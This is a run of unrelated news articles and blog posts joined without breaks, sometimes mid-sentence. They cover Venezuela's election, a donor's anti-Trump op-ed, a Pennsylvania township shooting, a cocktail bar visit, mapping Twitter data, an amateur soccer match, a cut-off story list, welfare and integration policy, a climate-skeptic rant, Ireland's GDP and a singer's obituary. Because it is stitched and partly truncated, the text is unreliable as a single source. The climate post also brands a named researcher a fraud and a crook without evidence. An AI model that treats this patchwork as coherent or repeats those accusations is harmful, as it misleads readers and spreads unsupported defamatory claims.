Inflation is seen as Venezuela's most significant issue, rated by 92 percent of Venezuelans as a problem. The South American country has the fastest annual inflation rate in the world, estimated between at least 80 percent to far more than 120 percent. Food shortages have also contributed to growing discontent.
"Let's not forget, Venezuela will always be worth it -- always!" Henrique Capriles, a key opposition leader who almost defeated Maduro in 2013's election wrote on Twitter. "God bless our country."
The vast majority of Venezuela's voting process is electronic and is considered trustworthy by electoral monitors, including The Carter Center. Although the PSUV has often been accused of various degrees of electoral fraud in previous elections, there have been no reports significant voter intimidation or fraud yet in this election.
But PSUV supporters have been criticized for breaching electoral laws by handing out propaganda material less than 200 meters away from election booths in at least one location.
The Union of South American Nations (UNASUR) regional body was allowed to monitor the election, but the Organization of American States and the European Union were rejected.
Polls conducted days ahead of the election pointed to a MUD victory, but Venezuela does not allow exit polls to be conducted on election day so the final result must be delivered by the country's National Electoral Council (CNE).
The CNE said it will only announce results after a clear, irreversible winner has been revealed to electoral authorities.One of the biggest Republican donors in this presidential cycle has swung his support forcefully behind Democrat Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE, saying a Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE presidency would destroy America.
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Florida billionaire Mike Fernandez spent $3 million boosting Jeb Bush in the GOP primaries and even gave $100,000 last year to America Rising, a Republican group committed to destroying Clinton.
But in the opinion section of Thursday's Miami Herald, Fernandez outlines what he frames as a patriotic and moral duty for all Republicans to abandon Trump and vote Clinton.
He even questions Trump's mental health.
"As a Republican who has contributed millions of dollars to the party’s causes, I ask: Why has our party not sought a psychological evaluation of its nominee?”
Fernandez adds that a Trump presidency could destroy the republic as it was conceived by the founders.
"There is no basis in thinking that our democracy is so strong, our checks and balances so finely hedged, that no single person can lead us off the precipice," Fernandez writes.
"Trump can."
Fernandez also scoffs at the "excuse" of party loyalty being pushed by some members of the Republican establishment who believe that Trump, though far from perfect, would be clearly preferable to Clinton.
"No longer can we hide behind the excuse that party loyalty is paramount, and that a bad candidate of our own is always better than any candidate of theirs," Fernandez writes.
"Blind loyalty in this case is the ultimate definition of disloyalty to our beliefs. Loyalty to our nation must be the ultimate arbiter of our choice."
Fernandez was early to declare Trump as unfit and a threat to democratic values.
Late last year, while still supporting Bush in the Republican primaries, Fernandez bought newspaper ads attacking Trump in Miami, Las Vegas and Des Moines, Iowa.
In his Thursday opinion article, Fernandez writes he has now "arrived at this difficult moment."
"I harbor no illusion that Hillary Clinton is perfect; none of us is. I do not see eye to eye on some issues with the former senator from New York. However, Clinton is, without doubt, a superior choice to Donald Trump."
Fernandez concludes his piece by addressing his "fellow Republicans":
"Swallow hard," he tells them, "look into your heart — and your gut.
"Vote for Hillary Clinton and then every single Republican on the ticket."Please enable Javascript to watch this video
ROSS TOWNSHIP -- State police said that three people were killed Monday night by a man who opened fire on a Ross Township supervisors meeting. Two people inside the meeting tackled the gunman and held him until police arrived.
State police identified the suspected shooter as Rockne Newell, 59, formerly of Saylorsburg. They say he had an ongoing dispute with Ross Township officials involving his property. They said the property had recently been condemned.
According to state police, two people died at the scene. A third person died after being flown to Saint Luke's Hospital in Bethlehem.
A fourth person, a woman, was flown to Lehigh Valley Hospital near Allentown. Police initially said she had died, but then said later that she was still in surgery.
The injured include one man who was grazed in the head by a bullet. Authorities said another person was taken to the hospital with a stress-related issue.
Newell, the suspected gunman, suffered a gunshot wound to the leg and was taken to Pocono Medical Center. State police said how Newell was wounded is under investigation.
Investigators say the gunfire began around 7:15 p.m. Monday. They said that Newell had a long gun and began shooting into the windows as he walked toward the Ross Township Municipal Building. State police said about 15 people were inside at the time.
According to state police, Newell continued firing as he walked into and through the building. He then went back out to his vehicle in the parking lot, retrieved a handgun, and went back into the building, firing more shots.
At some point, police said, Newell was tackled by a township official and a member of the public. Newell was shot in the leg, but exactly how he got wounded is under investigation.
Authorities have not released the identities of any of the victims.
Authorities began searching Newell's property just before 9:00 a.m.
A news conference is slated for 11:30 a.m. in Monroe County.
Please enable Javascript to watch this videoI recently had a conversation with someone who said they thought PDT was no longer a bar. Not that it isn’t monumentally important, but that it transcends the category and has grown into something beyond what the title “bar” can capture. And I understand the sentiment. Because when I crossed the threshold from hotdog restaurant to phone booth to cocktail bar, it was like passing through a living, breathing myth.
I’ve been writing about cocktails for about three years and PDT has been on my bucket list since the beginning. Predictable, I know. Unoriginal, I know. Cliche, I know. But I don’t care. It’s important. It’s an integral piece of the craft cocktail renaissance without which the picture is incomplete. If there is a canon of New York bars that were responsible for the golden age of cocktails we are experiencing today, PDT would be a part of that list (along with Pegu Club and Gramercy Tavern and Rainbow Room and so so many more).
Back in November of 2014, I had the pleasure of sitting down with PDT owner and previous bar manager Jim Meehan. One of my favourite moments of our interview was when Meehan spoke of his bar team in New York. “We at PDT have a team like no other. We are this awesome, little dysfunctional family….They are all warriors and the bar itself has that mentality. We are like the cockroaches of the bar industry and we are going to be around through that next trend and just keep going.”
The caliber of bartenders that have moved through it’s doors is unparalleled (not least of which is the lovely gentleman pictured above- award winning barman and current PDT GM, Jeff Bell). When I arrived before service on a Friday afternoon, Jim’s thoughts on his team were foremost in my mind as the staff worked effortlessly together to ensure all elements were in place before service began. The phone was ringing off the hook with calls from eager patrons looking for a reservation, their hopes undoubtedly dashed when minutes after 3pm the hostess informed them that they were fully booked for the night (as they are every night).
Sitting in PDT was simultaneously familiar and completely new. I couldn’t shake the feeling that I had been there before. The look of the ceiling, the feel of the bar, the lighting and the seats, the weight of the glass in my hand all induced a strange sense of deja-vu. And yet for all the times I imagined being there, it was brand new and completely surreal. But for all the parts familiar and strange, when Jeff Bell asked me for my drink order, I immediately knew what I wanted. If you find yourself sitting at the bar at PDT, there’s a good argument to be made for requesting the Benton’s Old Fashioned- a rich combination of bacon fat washed bourbon, maple syrup, and bitters, and quite possibly the most notorious drink on the PDT menu.
But I had the good fortune of sitting down with previous PDT Bar Manager Sean Hoard last October. He spoke ever-so-fondly of The Shark- a blue monstrosity of a cocktail created by John deBary combining butter-washed rum, blue curaçao, Frangelico, heavy cream, pineapple juice, lemon juice, cane syrup and Bittermens Elemakule Tiki Bitters. On paper it sounds insane but in the glass it is perfection.
If you love cocktails you undoubtedly have your own bucket list of big name bars and tiny hole in the wall joints you’d one day like to visit. PDT is a bonafide institution with eight extraordinary years under its belt. It’s one of those rare spaces that not only meets your expectations but exceeds them, hotdogs, phone booth and all. I am forever thankful that I got to check this one off my list and plan to return as often as they’ll have me.With more than 500 million tweets sent every day, Twitter data as a whole can seem huge and unimaginable, like cramming the contents of the Library of Congress into your living room.
One way of trying to make that big data understandable is by making it smaller and easier to handle by giving it context; by putting it on a map.
It’s something I do a lot—I’ve published over 1,000 maps in the past five years, mostly at Guardian Data. At Twitter, with 77% of users outside the US, it’s often aimed at seeing if regional variations can give us a global picture, an insight into the way a story spreads around the globe. Here’s what I’ve learned about using Twitter data on maps.
We Tweet As We Live The geography of tweets This map by @miguelrios shows billions of those geotagged tweets on a map. The coolest thing? The map behind has been removed. You can see in this zoom-in to New York how natural and man-made features are reflected in tweets—even the Staten Island ferry at the tip of Manhattan. People tweet following patterns of the way, and places, they live. This is both a strength and a complication if you want to map tweets around breaking news—I spend a lot of time refining the and filtering the data down so that I don’t necessarily get every tweet around a story; but you do make sure that every tweet you’re counting is talking about the story.
Everyday Moments Get Amplified by Tweets In the past, you may have turned to a friend and said “what a beautiful sunrise.” Now you can see those patterns unfold across the world: this map shows geotagged tweets mentioning the word “sunrise” in different languages—as the sun rises. The above map shows how people tweet that on a random day of the year. You can see it too with this map, which shows tweets of “happy new year” in different languages across the world as the clock strikes 12. Some of these everyday moments are eternal—like sunrise, obviously. Others come and go—such as tweets about a new trend, or the latest iPhone, or whatever it happens to be.
Geography Tells Its Own Story If you read the reports of the #BringBackOurGirls story, then you could assume the hashtag was started in the US or Europe. In fact, as this map shows, it began in Africa as a grassroots campaign, before eventually spreading across the globe. It’s a useful way to counter the prevailing narrative with actual data. Animated #BringBackOurGirls map
Twitter Maps Don’t Show Every Tweet Say you want to get started with this, where do you begin? Most times that you see Tweets mapped, it’s because they are geotagged, which is the process of adding geographical information to a tweet by opting to add your location: It’s important to note that this is a voluntary opt-in Twitter feature, and users can turn it off anytime. That means this is a sample of tweets which will vary by which keywords you’re measuring and which country you’re looking at. Some data services will georeference tweets—guess where you are tweeting from depending on factors such as your biog or what language you’re tweeting in. GNIP (now owned by Twitter) provides this service. However, for more precise geography, that means geotagged tweets only. Of course, in order to work with the data, you’ll have to get hold of it—this article is not about that but there are a variety of data providers you can use. This list will help you get started.
Some Maps Aren’t Despite its appearance, this is not a map in the traditional sense that a cartographer would be content with. At one level, the data shows you simply where Tweets happen and where people live. If it were not animated it would be a pretty good approximation of this map from XKCD. But animated over time, it’s a kind of visual time series line—with the flashes of moments corresponding to peaks on a chart. For instance, the animation above shows geotagged tweets using the hashtag #icebucketchallenge, and the most interesting thing for me is how: the tweets build up over time, and
they spread over the world, from North America at the beginning to Asia, Africa and Australia by the end of the animation Again you can see it with this animation of the Germany v Brazil 7–1 game from the World Cup, with explosions of tweets at the moments that goals are scored. These are the visual peaks of the conversation, overlaid on a map. Brazil vs. Germany match
Normalizing Matters “Normalizing” the data behind these maps is something cartographers online will often talk about. What that means is taking account of other factors, such as population. So, for instance, Wyoming with its small population of 600,000 may have a very active small community of tweeters on a given issue, making up a large proportion of its population. Comparing that to a big state like California or Texas with 26–38 million people just doesn’t make sense. So that’s where you “normalize” it, either by comparing the numbers to the population, or the number of all tweets coming from that state. Normalizing the data what we did here, for instance, with this map showing the most-mentioned artists in the “video of the year” category at the VMAs—it simply shows the most-mentioned artist and video in each state: Yes, the Deep South loves @Beyoncé, the Midwest is all @MileyCyrus, while the West Coast is ‘Happy’ with @Pharell. This type of choropleth is great for coloring up parts of the country, i.e. states, in this case. But because you’re comparing different size areas with different populations, these can never be used for displaying raw numbers. Instead they should show percentages, ratios or some other proportional amount, which means you have to aggregate the data into totals. For instance this map, from our interactive guide to the State of the Union speech shows conversation around different parts of the speech geographically—compared to the total numbers of Tweets from each state. There are other ways of aggregating Twitter data too—this map by academics at Oxford University looks at how you could group tweets by even smaller geographic areas, using hexagons in this case. This is a technique we have used too, in this guide to how football team follower numbers changed during the World Cup. These are attractive maps and certainly more proportional, and they don’t tell the story of a waxing and waning event or moment over time in the same way. But if you’re trying to produce a static visualisation—for print, say—then this technique is much more appropriate.While the San Jose Earthquakes won't turn their attention to the U.S. Open Cup until mid-June, the club's PDL team, the Burlingame Dragons FC, embark on their campaign in the nation's oldest soccer tournament this week when it visits the Sonoma County Sol at Santa Rosa High School on Wednesday, kickoff at 7:00 p.m. (no available video stream; follow along with @burlingamefc and @SonomaCountySol on Twitter).
The Dragons, who last year played in Turlock as the Earthquakes U-23 side, landed on the Peninsula just up Highway 101 from Avaya Stadium in San Jose. Made up entirely of amateur players, either on break from their college teams or from the local area looking to take the path to the pros, the Dragons are making their first appearance in the Open Cup tournament.
"The Sol have been together for a number of years," said Dragons head coach Dana Taylor, "and they have a lot of players that know each other, so we expect them to be well organized. It's going to be a tough test for our guys."
While the Burlingame club, a well-heeled partnership between former Zappos.com founder Nick Swinmurn and former Facebook and Genentech CFO David Ebersman, handled all the off-field activities, the on-field product is the responsibility of the Earthquakes organization and its academy director Chris Leitch. Taylor, who coached the team when it was in Turlock last season, continues in the same role this year.
"This is great to see," said Taylor. "I love the atmosphere that they have created here. The Dragons have done an incredible job of bringing excitement to it, bringing sponsorship to it. Now it's our job to put out that final product, to fine tune the team."
The Dragons were included in this year's Open Cup by virtue of the Turlock side's third place finish in the PDL's Southwest Division last summer. But, as is the reality facing a team made up entirely of amateur players, the squad has tremendous turnover season to season and has been a work in progress for Taylor since open tryouts began earlier this year.
Last Saturday night, the Dragons took flight in their first official home game at Burlingame High School, and exhibition game against the Stanford men's soccer team. Anchored by U.S. national team forward Jordan Morris, the Cardinal were a good opponent for Taylor's forming squad, and they defeated the Dragons 1-0 in front of an engaged crowd of over 1,000 fans eager to see what the Burlingame club had to offer.
"It was great," said Taylor. "A great atmosphere for an exhibition game. I thought the opponent Stanford was great. They've been ranked number one in the country and they have a national team player at forward on there, so this was a great test for us. Stanford is a team that is just finishing up the year, and we haven't even played a full game as our starting group."
The Cardinal were definitely the better team from the opening whistle, as the Dragons were forced to defend for long stretches of the opening half. Morris assisted on the game's only goal, and he nearly doubled the lead late in the game, but Burlingame slowly found its footing and raised its game to the pace set by Stanford. And keeping Morris, a rising star of the national team who a month ago scored against both the Mexican national team and its U-23 squad, off the scoresheet was a huge accomplishment for the nascent Dragons.
"For us, that was a great game for us to move into the Open Cup week, because that team moved the ball well, they are physical, they are organized in how they pressed us. Since we have a lot of guys that haven't played together, it really forced us to step it up."
The Dragons inaugural home game against Stanford University, a 0-1 loss on Corey Baird's goal, assisted by Jordan Morris. Posted by Center Line Soccer on Monday, May 11, 2015
Earlier on Saturday, Taylor led his Dragons side in another game against the Cardinal, this one on the Stanford campus, as he continued his evaluation of the prospective players that will make his final roster. Cal defender and Earthquakes academy product Josh Morton played in that match, and is among the numerous college players that are converging on Burlingame to be a part of the Dragons for their 2014 season.
"Today, we had four different individuals that just flew in before noon, let along having been a part of it, and stepped on the field," said Taylor. "Many of these guys don't know each other, and that's the realities of the PDL. You have guys coming back from college, guys that are finishing up school and still taking exams, and they are only now coming together. Having coached last year's PDL team with the Quakes, this team is already ahead of where we were last year at this time.
"But tonight was finally about prepping for and getting ready to name our Open Cup team. I can now name our Open Cup team. And, out of that group, I can name our starters."
Taylor will need his side to quickly develop its chemistry ahead of Wednesday's Open Cup match against the Sol, a team that plays in the NPSL and was established in 2004. Many of the players on the Sol have been together for many seasons, and the club has previously participated in the Open Cup tournament, most recently in 2010, knowing what it takes to step it up on the big stage.
But the Dragons expect to be ready for the test, though the prospects of beating the Sol on the road are not the best. Taylor knows his team will need more time to develop, and he is hopeful the Open Cup game, as well as upcoming away games at the Fresno Fuego and the Golden State Misioneros FC will have his squad prepared for its home season opener against the Fuego on May 23.
"We have a couple of away games coming up to do that," said Taylor. "Hopefully, in two weeks when we get back here, you will see a team that is in sync."
But priority number one is the opening round of the Open Cup, and a chance to advance in the tournament to face Sacramento Republic FC, the 2014 USL champions. Whichever of Burlingame and Sonoma County win, they will have a daunting task ahead of them, but that is the excitement the Open Cup promises its entrants, amateur and professional. And these Dragons are looking forward to the challenge.
"We need all of these guys to step up, to bring up their level," said Taylor. "It's going to be a very good game for us."100 Great Short Stories
Okay, I lied. There are so many great short stories that I was unable to trim the list to 100 titles; so here are 160 Great Short Stories for you to enjoy. Click a button to find the best short stories from the authors below. We have a great collection of Short Stories for Students and Children's Stories.
Cousin Tribulation's Story The Story of An Hour The Tale of Peter Rabbit How the Camel Got His Hump The Cactus Regret The Brave Tin Soldier The Haunted Mind A Pair of Silk Stockings The Gift of the Magi Desiree's Baby The Skylight Room Araby A Dark Brown Dog An Angel in Disguise The Cat An Occurrence at Owl Creek Bridge About Love The Monkey's Paw Lost Hearts The Luck of Roaring Camp A Journey A New England Nun The Hanging Stranger Rikki-Tikki-Tavi The Pit and the Pendulum To Build a Fire My Kinsman, Major Molineux Odour of Chrysanthemums A Jury of Her Peers Ali Baba and the Forty Thieves The Game The Call of Cthulhu The Repairer of Reputations Boule de Suif The Boy And The Filberts The Night Came Slowly One Summer Night The Coming of the King A Blunder Ex Oblivione Fat And Thin Hearts And Hands Amy's Question My Financial Career The Aged Mother Hermann The Irascible The Man in the Brown Coat The Death Of A Government Clerk The Father The Little Match Girl Louisa May Alcott: A Child's Biography The Terrible Old Man A Vine on a House Witches' Loaves The Open Window The Cats of Ulthar Mark Twain: A Child's Biography The Romance of a Busy Broker A Dead Woman's Secret A Chameleon A Respectable Woman On The Day of the Crucifixion The Dreamer Henry David Thoreau: A Child's Biography The Student The Unkindest Blow The Night Moth With a Crooked Feeler Alexandre The Thorny Road of Honor The Vendetta The Looking Glass The Selfish Giant Vanka The Merino Sheep A Duel The Cripple A Defensive Diamond The Wolves of Cernogatz The Child's Story Esme The Yarkand Manner The Diary of a Madman What Christmas is As We Grow Older The Disappearance of Crispina Umberleigh The Schartz-Metterklume Method A Baby Tramp The Boarded Window Sredni Vashtar The Man In The Moon Eveline The Veteran The Log The Huntsman An Alpine Divorce A Defenseless Creature What You Want A Cosmopol |
is ubiquitous. Even within black communities, it takes the form of colourism ; discrimination against the darker skinned, leading to dangerous practices such as skin bleaching.
As frustrating as it is, that racially vilified communities can themselves perpetuate the very same discrimination and hatred to which they themselves are subjected, it is the sad truth. Anti-blackness is where racial discrimination begins, and must be the first thing to go. People of colour must fight against white dominance yes, but we must also fight the white supremacy in our own minds.A welfare reform bill approved by the Kansas Senate would limit ATM withdrawals of public assistance to only $25 a day.
The restriction would apply recipients who rely on a Vision card, a kind of debit card, to access their welfare assistance. There currently is no limit on withdrawals using these cards.
The $25 limit came as an amendment offered by Republican Sen. Caryn Tyson to HB 2258, which originally set the limit at $60 a day.
Democratic Sen. Oletha Faust-Goudeau called the amendment ludicrous, saying a limit could create significant problems for beneficiaries. She said some of her constituents, many of whom are mothers, need to withdraw $600 to pay their rent each month.
HB 2258 would impose other restrictions, like kicking people off welfare altogether after a lifetime limit of 36 months. It also would ban repeat drug offenders for life from receiving food assistance.
The Kansas Senate approved the bill and sent it to Gov. Sam Brownback (R), then left the capital for their Easter holiday.
-Noel Brinkerhoff
To Learn More:
Bill Tightening Restrictions on Welfare Recipients Advances in Kansas Senate (by Bryan Lowry, Wichita Eagle)
Kansas To Impose Unprecedented Restriction On Welfare Recipients (by Bryce Covert, ThinkProgress)
S Sub for HB2258 (Kansas Legislature)
Kansas Judge Sues Gov. Brownback over Alleged Violation of Separation of Powers (by Noel Brinkerhoff, AllGov)
Kansas Supreme Court Declares State Government’s Funding of Education Unequal and Unconstitutional (by Steve Straehley, AllGov)Denmark has expanded integration laws by mandating language standards for migrant children and will stop benefits to parents who refuse to send their children to language classes.
Currently, three-year-olds from migrant families who do not attend preschool must take a language test. Children who are found to not have the age-appropriate level of Danish are required to attend preschool and receive additional language training.
This summer, the government will enact legislation whereby if the municipality determines a child from a “bilingual family” needs language stimulation but the parents are not still not sending the child to preschool child benefits (government family assistance), will be withdrawn, reports daily Swedish newspaper Sydsvenskan.
The law was considered in parliament and received a large majority of cross-party support from both the anti-mass migration Danish People’s Party (DF) and the left wing Social Democrats (SD). Politicians reason that children must learn Danish to be able to integrate into society and unless parents teach children Danish “society must assume [responsibility]”.
Preschool language tutors Jane Cronqvist and Methe Hansen, who work at the Væksthuset preschool in the district of Brønshøj, Copenhagen, told the daily newspaper children from migrant families are taught in small groups at a pace that is manageable for them, but “concentrated”.
“If they make many mistakes in a row we stop, so it doesn’t affect their self-esteem,” said Mrs. Hansen.
Ms. Cronqvist added, “It will be very concentrated and we require quite a lot of them. Everyone should get to repeat the words multiple times.”
Denmark has some of the highest integration expectations in Europe, where the country has already replaced state benefits with “integration benefits” for migrants, effectively cutting the payments in half, with conditions requiring new arrivals to speak Danish to an acceptable level before they can claim higher levels of support. The government has also made it significantly harder for migrants to obtain citizenship.
In the wake of the migrant crisis, Denmark’s parliament adopted reforms aimed at dissuading migrants from seeking asylum by delaying family reunifications. The law also allows authorities to seize valuables in an effort to alleviate Danish taxpayers of the financial burden of housing them.
Across the North Sea, integration efforts in Sweden are different. The fellow Scandinavian country does not prioritise the Swedish language in early years education, instead inscribing migrants’ mother tongues in the curriculum with “native [language] supporters” attending preschool and language classes.
“We have chosen a different way to go”, says Magdalena Karlsson, director of education at the National Agency, when she heard about the Danish rules for children from migrant families.
Karin Sandwall, director of the National Centre for Swedish as a second language at Stockholm University, believes that Swedish schools accommodating non-Swedish languages “strengthens the children’s identity” and “cooperation with the home”.
Last year, a charity backed by the Swedish government launched a campaign denouncing the assimilation of migrants into the native, Nordic culture and told Swedes to “integrate” with foreign “cultures and languages”.Joanne Nova is dedicating a lot of space to a radical crackpot named Stephan Lewandowsky whom you may remember from his fresh paper proving the climate skeptics believe in moonlanding conspiracies because he asked visitors of alarmist blogs.
Steve McIntyre and others have offered their opinions about the Lewandowsky scam, too.
Years before social scientists, climate scientists, and similar pseudoscientists became really aggressive in their attacks against proper science and even common sense, Richard Feynman said this about social sciences and similar pseudosciences:
Taken from the BBC-Horizon, the episode Pleasure of finding things out (50 minutes)
It's of course a funny monologue because it's so disrespectful and you may think of various social scientists who may deserve an exemption from Feynman's harsh appraisal. However, if you think about others such as Stephen Lewandowsky, you can't overlook that Feynman was probably too kind.
I finally spent some time by looking at Stephan Lewandowsky's blog:
He shares the domain with a 31 other science-painted activists. Most of the members' blogs write posts supporting carbon regulation most of the time.Well, if it were a domain about general science, you may expect the domain name to be something like "Understanding the World" or "Making Sense of Nature" or "Predicting the Future". However, their website is about "shaping tomorrow's world". The name itself may be enough for you to notice the not-so-subtle difference between science and political activism. Mr Lewandowsky – sorry, I surely don't respect his doctorate and even "Mr" is a huge euphemism – unquestionably belongs to the category of the political activism.And when you look at his website, you will notice that he is a very ugly activist, indeed. He never finds or clarifies any mistake done by his foe. There is nothing to learn at that website. It's all about personal attacks against the people who may be inconvenient in his plans to "shape the world of tomorrow".So at various points, they're linked to anti-Semitism, a black rapper named Sister Souljah who wanted to kill several whites every other week to compensate for the fact that blacks kill each other, to moonlanding conspiracy theories, and so on. He also passionately collects signs of disagreement between individual climate skeptics and their groups and so on.Concerning his/their fraudulent research linking conspiracy theories to climate skepticism, he claims to have contacted 5 skeptical blogs in 2010 – be sure that TRF wasn't among them – but he can't reveal their identity for some obscure reasons. It seems that Joanne has been able to locate the five skeptic websites that got the invitations. But even if he offered skeptical blogs to participate in his survey, it's pretty obvious and he must have known that most of them and probably all of them would refuse to give room to a survey organized by an alarmist whose results were likely to be distorted in a way to try to harm skeptics – and indeed, we know that exactly this thing occurred.So a legitimate survey would have to work against this bias and make sure that the participants are extracted from a representative part of the society, a balanced composition of blogs. Even more importantly, as I said weeks ago, he should have incorporated some filters against dishonest answers to the poll that the participants filled in order to hurt the other group, especially because it was so obvious that these illegitimate answers to the poll would affect the results asymmetrically (because the survey was run on alarmist blogs only).Well, mostly climate alarmists did so (the survey appeared at alarmist blogs so it's not hard to see that many alarmists pretended to be paranoid skeptics, just like in the other way around in my parody of the poll) and this was arguably by design. After all, the guy wants to "shape the world of tomorrow" so he "shapes" the methodology of his research appropriately to achieve the "right shape".This is not science. In fact, this is not even the kind of a behavior that is acceptable for an honest person who is a non-scientist. I urge the University of Western Australia that harbors this obnoxious crook to fire him as soon as possible.Incidentally, Australia introduced the carbon ransom on July 1st and it wants to merge its system with the European Union's system. I haven't been able to find any other fresh news about the Australian economy after July 1st than this report on the trade deficit. After a $9 million surplus in June, they had a $556 million deficit in July (note that the Australian economy is exactly 10 times smaller than the U.S. economy: useful for comparisons).The value of exports dropped 2.7 percent month-on-month, the value of imports dropped 1.5 percent month-on-month. On the other hand, the exports of fossil fuels went up 1.7 percent month-on-month. I suppose that when the stuff is exported, you don't have to pay the Australian carbon tax out of it, is that right? If so, the July trend surely looks like a path towards deindustrialization of Australia. The activity, investments, advanced production may be simply moving elsewhere.If you were tuning in to the world economy for the first time, last Tuesday’s release from Ireland’s Central Statistics Office would probably convince you that the Irish economy is booming. According to the Irish agency’s annual national income statistics, the domestic economy in 2015 grew a staggering 26.3 percent in real terms (after accounting for inflation). These are numbers you don’t even see in developing countries. They are unheard of in an advanced economy. And far from experiencing healthy, robust growth, most advanced economies are struggling to generate even low single-digit economic growth. So these numbers should raise an eyebrow.
Ireland’s gross domestic product growth rate isn’t a lie, but it highlights a peculiar thing about the country—its status as a tax haven. GDP measures the total value of everything produced within the country. But in Ireland’s case, a lot of very big companies, many in the high technology and pharmaceutical industries, like to say all of their intellectual property rights exist in Ireland for tax purposes. When companies in these industries design a new product they can avoid paying U.S. corporate tax by transferring their intellectual property—such as patents and brands—to an Ireland-based subsidiary. Strategies to avoid taxation can get quite complex, including such “tax-efficiency” maneuvers as the “Double Irish” and the “Dutch Sandwich.”
Whatever the maneuver, profits from the sales of those items in the United States and around the world accrue to these firms’ Irish-based subsidiaries, resulting in a significantly reduced tax burden on those profits. This artificially inflates the size of the Irish economy and creates some wild gyrations in the country’s reported growth rate.
One way to show the severity of this issue in countries such as Ireland and other offshore tax havens is to divide their gross domestic product by an alternative measure of an economy’s size—gross national income, a measure of all the things produced by nationals of a country. An Irish person’s wages when working in the United States, for example, registers as Irish national income (while simultaneously registering in U.S. GDP figures). Gross national income also excludes foreign-owned earnings, including that intellectual property owned by U. S. companies that are located in tax havens.
The ratio of these measures in normal, non-tax haven countries usually hovers around one. The earnings of foreign-owned capital and labor and domestic-owned capital and labor deployed in foreign countries usually nets out. In tax-haven countries, however, this ratio can be extremely lopsided. In Ireland, the ratio as of 2015 was 0.85. In Luxembourg, the difference is even starker, coming in at 0.69. And these ratios have been trending downward as the level of tax avoidance in the world economy explodes. (See Figure 1.)
Figure 1
Now, there are other reasons why gross national income and gross domestic product can differ. The workforce of Luxembourg consists of many foreign residents and workers from nearby countries. But nonetheless, Luxembourg is widely known as a tax haven and some portion of this differential can be attributed to its role as one.
In his 2015 book “The Hidden Wealth of Nations: The Scourge of Tax Havens,” author Gabriel Zucman of the University of California-Berkeley estimates just how much money is being shifted around the world for purposes such as sheltering money from the tax authorities. He calculates that 55 percent of the $650 billion of foreign profits earned by U.S. companies in 2013 were booked in just six low-tax countries: The Netherlands, Bermuda, Luxembourg, Ireland, Singapore, and Switzerland. For U.S. companies, this comes out to about 18 percent of all U.S. corporate profits “earned” in tax havens, and results in lost tax revenue of about $130 billion a year. Kim Clausing of Reed College calculated similarly—about $100 billion a year in lost tax revenue.
Putting an end to international tax-avoidance is now a major focus of organizations such as the Organisation for Economic Co-operation and Development, which now boasts its “Base erosion and profit shifting” program. But more work needs to be done so that U.S. companies are not able to skirt their obligations. International coordination alongside smart business tax reform here in the United States could help put an end to corporate tax avoidance.CLOSE Joey Martin Feek from the country duo Joey + Rory passed away after a battle with cancer. She is survived by her husband and daughter. USA TODAY
Joey Feek, left, and Rory Feek (Photo: Submitted)
Joey Marie Feek was ready — she was peaceful and accepting, believing that it wasn’t God’s will for her to be healed from the stage 4 cervical cancer she’d fought off and on for nearly two years.
Mrs. Feek, 40, lost her battle with cancer at 2:30 p.m. Friday afternoon.
“I’ve prayed and prayed and prayed I’d discover I was healed,” Mrs. Feek said in November. “But I realized I was healed in a different way. I was healed in my relationship with Christ, because it just drew me closer.”
“Children are never ours,” Mrs. Feek’s mother, June Martin, said tearfully during her daughter’s illness. She also lost her son, Justin, in a car accident in 1994. “God just lends them to us for a while. I believe that. Don’t be angry. It’s easy to be. I have been a couple of times. It’s his call. He is in charge. We’re all given a day to die. None of us are going to live forever.”
Country music fans first met Mrs. Feek in 2008 — she and husband Rory comprised Grammy-nominated duo Joey+Rory, which placed third on the inaugural season of CMT’s reality talent search “Can You Duet.” Their debut single, “Cheater, Cheater,” climbed to No. 30 on Billboard’s country radio airplay charts, and they were named spokespeople for Overstock.com. They released seven albums, including "Hymns That Are Important To Us" that topped Billboard's Country Albums sales chart in February. The couple also hosted the popular “The Joey+Rory Show” on RFD-TV. And many mornings, she made the quick drive from their Pottsville, Tenn., farmhouse to Marcy Jo’s Mealhouse, the restaurant near Columbia that she operated with her sister-in-law, Marcy Gary.
But it was through her illness that she garnered worldwide interest. Rory Feek shared stories on his blog, www.thislifeilive.com, of her faith and integrity in the face of death. Her story went viral and millions read of the singer’s unwavering dedication to God, her daughter and her family.
“I'm a middle-aged woman living up north on Long Island, NY and cannot be called a country music fan,” wrote Michele Citrin. “I've only gotten to know Joey and Rory thru the stories … online. I cannot tell you how much their lives and their journey has touched me these recent weeks. I've prayed and asked the patron saint of my local Catholic Church to give Joey and her family strength.”
Before she died, Mrs. Feek said God decided for her that “my job of singing for people down here is my legacy, and he needs me singing up there.”
That job was a dream come true for Mrs. Feek, an Alexandria, Ind., native who grew up idolizing Dolly Parton. Her parents performed in a band in high school and Mrs. Feek dreamed of following in their musical footsteps. One of five children, she started singing at age 5 and her first performance was at a local elementary school. She sang with her family in church and at county fairs, and her sisters remember private concerts they put on for themselves.
“Mom would wax the floors and we would roll up the rugs, and we had a record player,” recalled her oldest sister, Jody Martin, 42. “She always wanted to be a singer, always. When I think of Joey, I think of music and horses. That’s what she loved.”
“She always wanted to get to Tennessee,” added her youngest sister, Jessie May, 32.
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Mrs. Feek made the move by the time she was 23 — and held tight to her childhood love of horses. Her first job in Nashville was for an equestrian veterinarian, and by her late 20s she signed a record deal with a major label that never produced an album.
She spotted husband Rory at a songwriters night and immediately felt drawn to him but thought her feelings were a mistake — he talked about his daughters and she assumed he was married. She learned he was single and they were married about four months after their first date in June 2002. She put her singing career on hold and helped him raise his daughters. “Can You Duet” was Mrs. Feek’s return to the spotlight.
Joey Feek spends time with daughter Indiana. (Photo: Courtesy of Rory Feek, www.thislifeilive.com)
The couple welcomed daughter Indiana on Feb, 17, 2014, an event Mrs. Feek considered "the most important” in her life. She chose to have the little girl at home with the assistance of midwives and the baby was born breech. A few days later, the parents learned their infant had Down syndrome. In the days before her death, Mrs. Feek said her greatest hope for her daughter was that she grew up with no fear and that she was able to fall in love, get married and live independently near her father.
In May after Indiana’s birth, Mrs. Feek was diagnosed with cervical cancer. She underwent a radical hysterectomy, but her cancer returned a year later. Despite more surgery and aggressive treatment, the cancer continued to grow. She discontinued treatment in October and was given six to nine months to live.
